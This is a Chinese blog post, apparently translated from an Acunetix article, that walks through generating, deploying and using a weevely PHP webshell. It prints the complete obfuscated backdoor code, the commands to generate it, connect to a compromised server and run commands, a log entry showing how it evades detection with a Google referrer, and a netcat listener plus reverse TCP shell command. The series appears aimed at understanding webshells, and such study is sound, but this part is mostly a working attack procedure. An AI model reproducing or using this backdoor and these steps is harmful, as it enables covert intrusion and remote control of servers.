webshell 系列4: 使用webshell
2023-2-27 08:2:40 Author: 奶牛安全(查看原文) 阅读量:16 收藏


通过weevely演示了webshell从生成到使用。学会这个,日子越来越有判头了。

译自:https://www.acunetix.com/blog/articles/web-shells-action-introduction-web-shells-part-4/

weevely是一个轻量级,有多种选项,类似telnetPHP webshell

为了演示目的,先用weevely生成一个后门agent,部署到目标机器。我们只需要指定密码和文件名,密码是用于后面访问后门的。

[email protected]:~/weevely3-master# ./weevely.py generate abcd123 agent.php

-->
 Generated backdoor with password 'abcd123' in 'agent.php' of 1332 byte size.

agent.php包含着编码过的代码

<?php
$d='@$r["HTTP_A%CCEPT_L%ANGUAG%E"];%if%($rr&&$%ra){$%u=parse_%url($rr);p%arse_s%tr($u';
$k='$kh="79cf%";$k%f="%eb94";%%function x(%$t,$k){$c=st%rle%n($%k%);$l=strlen($t);$o';
$Y='64_de%code%(preg_replac%e(arra%y("/%_/","/-%/"),ar%ray("/%","+%"),$ss($%';
$O='$i],%$f);%%if($e){$k=$kh.$kf;%ob_%start();@%e%val(%@gzunco%mpr%ess(@x(@b%ase';
$b='%%+(?%:;q%=0.([\\d]))?,%?/",$ra,$m);if(%$q&&$m)%{@sess%ion_st%art();$%s=&$_S%ESSI%O';
$j='s[$i%],0,$e%)%)%),$k)));$o=ob_get_c%onten%t%s();ob%_end_clean()%%;$d=bas%e%6';
$f='N;$ss="%substr%"%%%;$sl="strtolower";$%i=$m[1]%[0].$m%[1]%[1];$h=$%sl%($s';
$u='s(%md5($i.$kh%),0,3));$f%=$sl($s%s(md%5($i.$k%f),0,3%));$%p="";f%or%($z=1;$z<';
$c=str_replace('vs','','cvsrevsate_vsvsfuncvsvstion');
$H='%p%=$ss($p,3);%}if(ar%ray_%k%e%y_exists($i,$%s)){$s[$i].%=%$p%;$e=st%rpos($s[';
$U='4_enco%de(x(%gzcomp%ress($o),$%k));pr%int("<$k>$%d<%/$k>");@ses%sion_%d%estroy();}}}}';
$M='=%"%";for($i%=0;$i%<$l;%){for($j%=0;($j%<$c&&$i<$%l%);$j%+%+,$i+%+){$o.=$t{$i%';
$F='co%unt($%m[1]%);$z+%+)$p.%=$q[$m%[2][$z]];%%if(strpos(%%$p,$h)==%=0){$s[$i]="";$';
$q='%%["q%uery"]%,$q);$q=array_%values%($%q);%preg_match_al%l("/(%[\\w%])[\\w-]';
$X='}^$k{$j};}}%return %$o;%}$%r=$_SERV%ER;$r%[email protected]$r[%"HTTP_REFE%RER"];$ra%%=';
$S=str_replace('%','',$k.$M.$X.$d.$q.$b.$f.$u.$F.$H.$O.$Y.$j.$U);
$P=$c('',$S);$P();
?>

agent.php重命名为ma.php,并且上传到感染服务器上。然后,我们采用weevely本身的shell来访问这个文件

[email protected]:~/weevely3-master# ./weevely.py http://192.168.5.25/ma.php abcd123
--> [+] weevely 3.2.0
[+] Target: [email protected]:/var/www/html
[+] Session: /root/.weevely/sessions/192.168.5.25/ma_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>

现在我们通过后门访问到目标机器,也可以执行命令

weevely> uname -a

-->
 Linux secureserver 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

[email protected]:/var/www/html $

通过检查服务的访问日志,可以注意到一些奇怪的东西

192.168.5.26 - - [29/Feb/2020:12:26:25 +0100] "GET /ma.php HTTP/1.1" 200 395 "http://www.google.com.kw/url?sa=t&rct=j&q=168&source=web&cd=841&ved= 7abT6UoqC&url=168.5.25&ei=2rFeZn7kwtSbAWGxjurE6s&usg=r2jjg09LyElMcPniaayqLqluBIVqUGJvYD&sig2=lhXTdE417RZUTOBuIp6DOC" "Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic)Firefox/3.6.10"

发送的请求被编码,而且referrer字段指向google。由于google被认为是合法的referrer,如果要通过分析日志来找出恶意活动,这种结果是让人迷惑的。这也是一种避免检测的webshell策略。

另一个有趣的特性是,我们可以使用反向TCP shell。这意味着,感染服务器可以连接回我们,而不是我们发送一个请求过去。

在我们机器上,启动netcat监听8181端口

[email protected]:~/# nc -l -v -p 8181

-->
 Listening on [0.0.0.0] (family 0, port 8181)

使用已经建立的后门连接,可以建立一个反向TCP连接

[email protected]:/var/www/html $ :backdoor_reversetcp 192.168.5.26 8181

从我们机器上看,连接已经创建,也可以执行命令

Connection from [192.168.5.25] port 8181 [tcp/*] accepted (family 2, sport 55370)
$ whoami

-->
 www-data

由于反向TCP shell建立的通道是在TCP,而不是HTTP,所以,可以远程控制机器而不会在访问日志或错误日志上留下任何痕迹,

=========================================

文中和文末的小广广,渴望你手指的触碰!!!

请关注,转发,点“在看”,谢谢!!

如需要转载,请在公众号留言!!

关注公众号

在对话框输入“325f3


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247488535&idx=1&sn=9303dd00d104f8179a385f7ab5962788&chksm=fdf97f02ca8ef6142e82d16102338a147db002a41cdfdf843a0a98192ca09d652d6be874b804#rd
如有侵权请联系:admin#unsafe.sh